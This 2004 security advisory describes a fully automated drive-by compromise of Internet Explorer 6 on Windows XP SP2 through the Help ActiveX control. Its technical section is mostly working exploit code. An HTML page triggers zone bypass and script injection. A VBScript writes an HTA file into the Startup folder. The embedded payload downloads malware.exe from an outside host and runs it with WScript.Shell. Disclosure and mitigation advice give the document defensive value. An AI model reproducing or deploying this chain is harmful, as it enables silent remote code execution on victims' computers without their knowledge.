Microsoft Internet Explorer SP2 Fully Automated Remote Compromise
Microsoft Internet Explorer SP2 Fully Automated Remote Compromise
Dec, 21 2004
Vulnerable
----------
- Microsoft Internet Explorer 6.0
- Microsoft Windows XP Pro SP2
- Microsoft Windows XP Home SP2
Not Tested
------------------------
- Microsoft Windows 98
- Microsoft Internet Explorer 5.x
- Microsoft Windows 2003 Server
Severity
---------
Critical - Remote code execution, no user intervention
Intro
------
Although hundreds of millions of dollars have been spent on securing SP2,
perfection is impossible. Through the joint effort of Michael Evanchik
(http://www.michaelevanchik.com) and Paul from Greyhats Security
(http://greyhats.cjb.net), a very critical vulnerability has been developed
that can compromise a user's system without the need for user interaction
besides visiting the malicious page. The vulnerability is not actually a
vulnerability in itself, but rather it is uses multiple known holes in SP2
including Help ActiveX Control Related Topics Zone Security Bypass
Vulnerability and Help ActiveX Control Related Topics Cross Site Scripting
Vulnerability.
Tech Stuff and Explanation
--------------------------
1. Create a webpage with the following code:
sp2rc.htm
---------------------------------------------------------------------
<OBJECT id="localpage" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" height=7%
style="position:absolute;top:140;left:72;z-index:100;"
codebase="hhctrl.ocx#Version=5,2,3790,1194" width="7%">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:Just a button">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1"
value="command;file://C:\WINDOWS\PCHealth\HelpCtr\System\blurbs\tools.htm">
</OBJECT>
<OBJECT id="inject" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" height=7%
style="position:absolute;top:140;left:72;z-index:100;"
codebase="hhctrl.ocx#Version=5,2,3790,1194" width="7%">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:Just a button">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1"
value='command;javascript:execScript("document.write(\"<script
language=\\\"vbscript\\\"
src=\\\"http://freehost07.websamba.com/greyhats/writehta.txt\\\"\"+String.fromCharCode(62)+\"</scr\"+\"ipt\"+String.fromCharCode(62))")'>
</OBJECT>
<script>
localpage.HHClick();
setTimeout("inject.HHClick()",100);
</script>
---------------------------------------------------------------------
Explanation of above code:
The first object (id: localpage) tells hhctrl.ocx to open a help popup window
to the location C:\WINDOWS\PCHealth\HelpCtr\System\blurbs\tools.htm. This file
was chosen because it is treated as the local zone and it doesn't have any
script to mess us up. On some computers an error is shown before the popup.
This is the user's only chance to prevent the vulnerability from working. If
the user were to force his computer to shut down at this point, the user would
be unaffected by the exploit.
The second object (id: inject) tells the help popup to navigate to a javascript
protocol, which executes. Thus, cross site scripting has just taken place. A
script tag that uses a remote file is written to the page, and writehta.txt
(below) is executed in the unsecured local zone.
In the script, HHClick is able to be used to automate the vulnerability. This
is more effective than the previously described method of requiring a user to
click on a button.
2. Writehta.txt uses adodb recordset to write Microsoft Office.hta to the
user's startup folder. See Michael Evanchik's analysis of the drag and drop
vulnerability for an explanation on adodb recordset.
writehta.txt
---------------------------------------------------------------------
Dim Conn, rs
Set Conn = CreateObject("ADODB.Connection")
Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _
"Dbq=http://www.malware.com;"; & _
"Extensions=asc,csv,tab,txt;" & _
"Persist Security Info=False"
Dim sql
sql = "SELECT * from foobar.txt"
set rs = conn.execute(sql)
set rs =CreateObject("ADODB.recordset")
rs.Open "SELECT * from foobar.txt", conn
rs.Save "C:\Documents and Settings\All Users\Start
Menu\Programs\Startup\Microsoft Office.hta", adPersistXML
rs.close
conn.close
window.close
---------------------------------------------------------------------
3. f00bar.txt (thanks malware for hosting this file) is the file requested by
the adodb recordset (again, read the drag and drop analysis at
www.michaelevanchik.com for an explanation on how this works and why the the
f00bar.txt looks like it does). Because there is absolutely no limit on what
you can do in an hta file, an old, yet effective method of requesting and
saving a file to the user's hd is used. From that, a wscript shell is created
and used to run the program. And now, ladies and gentlemen, we have compromised
the user's machine.
f00bar.txt
---------------------------------------------------------------------
"meaning less shit i had to put here"
"<script language=vbscript> crap = """
""": on error resume next: crap = """
""" : set o = CreateObject(""msxml2.XMLHTTP"") : crap="""
""" : o.open
""GET"",""http://freehost07.websamba.com/greyhats/malware.exe"",False : crap="""
""" : o.send : crap="""
""" : set s = createobject(""adodb.stream"") : crap="""
""" : s.type=1 : crap="""
""" : s.open : crap="""
""" : s.write o.responseBody : crap="""
""" : s.savetofile ""C:\malware.exe"",2 : crap="""
""" : Set ws = CreateObject(""WScript.Shell"") : crap="""
""" : ws.Run ""C:\malware.exe"", 3, FALSE : crap="""
"""</script> crap="""
---------------------------------------------------------------------
4. Upload hhtctrl.ocx for the computers that don?t happen to have this
control. All XP's seem to have this by default, some win2k3's do not
(according to Michael Evanchik)
Proof of Concept?
------------------
- http://freehost07.websamba.com/greyhats/sp2rc.htm
- If an error is shown, press OK. This is normal.
- Notice in your startup menu a new file called Microsoft Office.hta. When run,
this file will download and launch a harmless executable (which includes a
pretty neat fire animation)
Vendor Recommendations
----------------------
- Like Michael Evanchik said in his previous analysis, Microsoft needs to apply
XP Service Pack 2's local zone lockdown to .HTA files as well.
- This might be a little farfetched, but it would solve a lot of problems: Take
out the startup folder and only support running files during startup through
the registry. The startup folder is a major part of this vulnerability and I
can almost gaurantee it will be used for another remote compromise.
- Microsoft could possibly take HTA files out altogether. I have not seen them
used for anything beyond hacking.
- No vulnerability is too small or too insignificant to be taken seriously.
Treat every vulnerability as if it could be dangerous.
User Recommendations
---------------------
- Disable hta files.
- Get yourself antivirus software. I recommend symantic because once they get
their lazy asses off the couch and fix some of this stuff you will be a lot
better off.
- Disable active scripting in Internet Explorer. If nothing else, do this.
- Do not use Internet Explorer, use Mozilla Firebird (now known as FireFox
www.mozilla.org)
Credit
------
Paul from Greyhats
Michael Evanchik
Http equiv (thanks for allowing me to use your server for f00bar.txt)
Greets
------
- Liu Die Yu (all the work you've done is amazing)
Contact
-------
paul@xxxxxxxxxxxxxxxx
http://greyhats.cjb.net
http://michaelevanchik.com